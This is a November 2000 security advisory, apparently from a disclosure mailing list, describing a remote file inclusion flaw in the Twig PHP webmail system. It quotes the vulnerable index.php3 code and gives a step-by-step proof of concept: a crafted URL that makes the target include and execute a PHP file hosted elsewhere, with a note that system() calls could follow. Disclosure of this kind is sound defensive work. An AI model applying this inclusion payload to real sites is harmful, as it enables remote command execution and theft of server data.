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Security problems with TWIG webmail system
From: João Gouveia <cercthar () TELEWEB PT>
Date: Sat, 25 Nov 2000 02:35:18 -0000

Twig is a popular webmail system written in PHP,  once called Muppet.
Author: Christopher Heschong
Homepage: http://twig.screwdriver.net
Version: 2.5.1 ( latest )
Problem: The possibility of processing our own php file , can leed to
arbitrary command execution on the server as the httpd user.
Status: Author(s) warned on 2000-11-13, the fix ( AFAIK ) will be included
on the next version.

Description:

Twig is designed to allow the use of virtual hosting, unfortunatly the
script that checks this fails to check for user suplied input, thus allowing
anyone to submit malicious values as the configuration directory.

The faulty piece of code is ( in index.php3 ):

<quote>
// Allow for virtual hosting
 $config_dir = "config";
 if( $vhosts[$SERVER_NAME] )


    $config_dir = $vhosts[$SERVER_NAME];
    include( $config_dir . "/config.inc.php3" );
    include( $config_dir . "/images.inc.php3" );
  }
</quote>

If the vhosts "directive" is not initialized, It is trivial to exploit it.
Let's look at an example:
1. I create a config.inc.php3 script with " <? phpinfo(); ?> " in it, and
upload it to some free web hosting service machine.
2. I go to the vulnerable site using Twig and type in my browser:

http://twig.vuln.site/index.php3?vhosts[twig.vuln.site]=http://free.host.mac
hine/~mydir/
3. The script gladdly includes _my_ config.inc.php3 and executes it,
presenting me with the phpinfo relative to the vulnerable site.

You can surely imagine this danger, for example if the vulnerable site
has safe_mode disable, I could just use a system($string) to execute
arbitrary comands as the http user.
Even if safe mode is enabled, it's still possible to execute our code, for
things like revealing the source of php files, whitch may contain sensitive
data in it.

Note: this only works if our free web hosting doesn't process the php3 file.

Best regards,

Joao Gouveia aka Tharbad.


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